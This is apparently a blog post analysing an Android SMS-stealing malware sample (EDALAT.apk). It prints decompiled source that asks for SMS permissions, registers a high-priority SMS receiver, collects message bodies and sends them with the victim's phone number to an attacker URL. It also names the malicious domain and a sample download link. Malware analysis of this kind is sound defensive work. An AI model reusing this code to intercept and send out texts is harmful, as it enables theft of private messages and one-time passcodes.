Android Malware Analysis Series - EDALAT.apk - Part 2.1
File Information: ??? Not sure appears Iranian in origin ???
Sample Source: https://bazaar.abuse.ch/download/355cd2b71db971dfb0fac1fc391eb4079e2b090025ca2cdc83d4a22a0ed8f082/
SHA256 Hash: 355cd2b71db971dfb0fac1fc391eb4079e2b090025ca2cdc83d4a22a0ed8f082
Introduction
In this second post in the Android malware analysis series I will be documenting my process for static and dynamic analysis of the EDALAT.apk
. Part one of 2.1 will document the static analysis process and go over the permissions, classes, methods, and communications on a source code level. Part 2.2 will dive into the dynamic analysis process, using various frida
scripts, analyzing the file system, and using various automated tools to detect the behavior of this sample.
Decompilation and Static Analysis
Manifest.xml file
Permissions
Below are the permissions associated with the malware. This specific application appears to be accessing READ_SMS
and RECEIVE_SMS
among other permissions.
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.READ_SMS"/>
Components
In the manifest file we see 3 main components. Two activities and one receiver. Each is designated to a different functionality inside the malware. Which we will see later on in this post.
<application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:networkSecurityConfig="@xml/network_security_config" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory">
<receiver android:name="ir.siqe.holo.MyReceiver" android:enabled="true" android:exported="true">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
<activity android:name="ir.siqe.holo.MainActivity2"/>
<activity android:name="ir.siqe.holo.MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
MainActivity
Class
In the MainActivity
class of package ir.siqe.holo
we can see the application implementing a few calls that attempt to identify the phone number, creating a file in the shared preferences directory the stores the string info, and then going through a series of checks on the phone number. If the phone does not match the specific country code it displays the following error.
[TRUNCATED]
public class MainActivity extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(realrat.siqe.holo.R.layout.activity_main);
final SharedPreferences.Editor edit = getSharedPreferences("info", 0).edit();
final EditText editText = (EditText) findViewById(realrat.siqe.holo.R.id.idetify_phone);
findViewById(realrat.siqe.holo.R.id.go).setOnClickListener(new View.OnClickListener() { // from class: ir.siqe.holo.MainActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
if (!editText.getText().toString().matches("(\\+98|0)?9\\d{9}")) {
Toast.makeText(MainActivity.this, "شماره موبایل معتبر نیست", 0).show();
return;
}
[TRUNCATED]
Once done it attempts to ask the user for specific permissions to RECIEVE_SMS
to the android device. It obtains the phone number string and starts the MainActivity2
class.
[TRUNCATED]
ActivityCompat.requestPermissions(MainActivity.this, new String[]{"android.permission.RECEIVE_SMS"}, 0);
if (Integer.valueOf(ActivityCompat.checkSelfPermission(MainActivity.this, "android.permission.RECEIVE_SMS")).intValue() == 0) {
edit.putString("phone", editText.getText().toString());
edit.commit();
new connect(editText.getText().toString(), "تارگت جدید نصب کرد", MainActivity.this);
MainActivity.this.startActivity(new Intent(MainActivity.this, MainActivity2.class));
}
}
});
}
}
MainActivity2
Class
After the activity gets loaded from MainActivity
we can see a new webview
is created which loads the malware URLs below.
public class MainActivity2 extends AppCompatActivity {
/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
setContentView(realrat.siqe.holo.R.layout.web);
WebView webView = (WebView) findViewById(realrat.siqe.holo.R.id.webview);
webView.getSettings().setJavaScriptEnabled(true);
webView.setWebViewClient(new mWebViewClient());
webView.getSettings().setDomStorageEnabled(true);
webView.getSettings().setLoadWithOverviewMode(true);
webView.getSettings().setUseWideViewPort(true);
webView.loadUrl("https://eblaqie.org/pishgiri");
}
[TRUNCATED]
We can see the malware uses multiple APIs including one setLoadWithOverviewMode
which auto-adjusts and fit to the Android devices screen size.
https://developer.android.com/reference/android/webkit/WebSettings#setLoadWithOverviewMode(boolean)
MyReceiver
Class
If we jump back to the AndroidManifest.xml
file we can see a receiver with an intent filter set to a high priority. This is indicative of malware behavior especially in the case with features that authors try to mask, such as sending and receiving SMS.
https://developer.android.com/guide/topics/manifest/intent-filter-element#priority
[TRUNCATED]
<receiver android:name="ir.siqe.holo.MyReceiver" android:enabled="true" android:exported="true">
<intent-filter android:priority="1000">
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
[TRUNCATED]
Opening up the MyReceiver
receiver we can see that the class is doing the bulk of the work for sms theft. The class is importing the core package functionality such as the utility class Bundle and SharedPreferences to pull and store data.
package ir.siqe.holo;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.content.SharedPreferences;
import android.os.Bundle;
import android.telephony.SmsMessage;
[TRUNCATED]
The class is then implemented using the sharedPreferences context and os bundle. The shared_prefs file info
is then being loaded into sharedPreference
and then loading the interface editor to later read and edit the info
file. On the next line the Bundle util is being called and creating an empty variable with the ability to store and retrieve data.
Skipping to the String str
line we can see that the malware is attempting to grab the flavor of the android device from the BuildConfig
class using com.androidnetworking
package. This may be to determine whether the device is a debug or release build.
[TRUNCATED]
/* loaded from: classes.dex */
public class MyReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
SharedPreferences sharedPreferences = context.getSharedPreferences("info", 0);
SharedPreferences.Editor edit = sharedPreferences.edit();
Bundle extras = intent.getExtras();
String str = com.androidnetworking.BuildConfig.FLAVOR;
[TRUNCATED]
The next chunk of code in the MyReceiver
class runs a series of if statements, the later two which I have pulled from my example. The first if statement checks if the extras
variable is equal to null. If it is not equal to null then it places the extras variable from Bundle and reads the PDUs (Protocol Data Unit) or users sms messages. Placing the pdus into an array called SmsMessage
. Storing the messages line by line into a new str
variable and creating a new line break.
Lastly the class connect is called and obtains the string details from the sharedPreference
called earlier. Specifically the str
and context
or messages and phone number they are from.
[TRUNCATED]
if (extras != null) {
Object[] objArr = (Object[]) extras.get("pdus");
int length = objArr.length;
SmsMessage[] smsMessageArr = new SmsMessage[length];
for (int i = 0; i < length; i++) {
smsMessageArr[i] = SmsMessage.createFromPdu((byte[]) objArr[i]);
str = ((str + "\r\n") + smsMessageArr[i].getMessageBody().toString()) + "\r\n";
}
}
[TRUNCATED]
new connect(sharedPreferences.getString("phone", "0"), str, context);
}
}
Read more here on PDUs: https://en.wikipedia.org/wiki/Protocol_data_unit
Lastly the MyReceiver
class calls the connection class via the new
operator. Instantiating it in memory.
connect
Class
Tracing the new
operator to the connect
class we can see the use of various utils in the code snippet below.
[TRUNCATED]
import android.content.Context;
import android.content.SharedPreferences;
import android.util.Log;
import com.androidnetworking.AndroidNetworking;
import com.androidnetworking.error.ANError;
import com.androidnetworking.interfaces.JSONArrayRequestListener;
import org.json.JSONArray;
[TRUNCATED]
The initial class call below for connect deploying various strings, contexts and preferences.
[TRUNCATED]
/* loaded from: classes.dex */
public class connect {
Context context;
SharedPreferences preferences;
String url;
[TRUNCATED]
Three in particular which are core to this class are the Log
, SharedPreferences
and JSONArray
. Log appears to be left over logging for the malware developer and the two other appear to be pulling data from the SharedPreferences from the prior class and loading that data into a JSON array.
[TRUNCATED]
public connect(final String str, final String str2, Context context) {
this.url = str;
this.context = context;
AndroidNetworking.initialize(context);
AndroidNetworking.get("https://eblaqie.org/ratsms.php?phone=" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onError(ANError aNError) {
Log.i("==================", "erroeererewrwerwer");
AndroidNetworking.get("https://google.com" + str + "&info=" + str2).build().getAsJSONArray(new JSONArrayRequestListener() { // from class: ir.siqe.holo.connect.1.1
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onResponse(JSONArray jSONArray) {
}
@Override // com.androidnetworking.interfaces.JSONArrayRequestListener
public void onError(ANError aNError2) {
Log.i("==================", "erroeererewrwerwer");
}
});
}
});
}
}
This JSON data which is comprised of the data sent from our initial MyReceiver
class onReceive
method str
and context
are loaded into the connect
method and sent to the malicious server https://eblaqie.org via AndroidNetworking.get (https://github.com/amitshekhariitbhu/Fast-Android-Networking).
This concludes part 2.1 I will be slowly updating my blog adding Android malware analysis guides in the future.
~ n0ps
###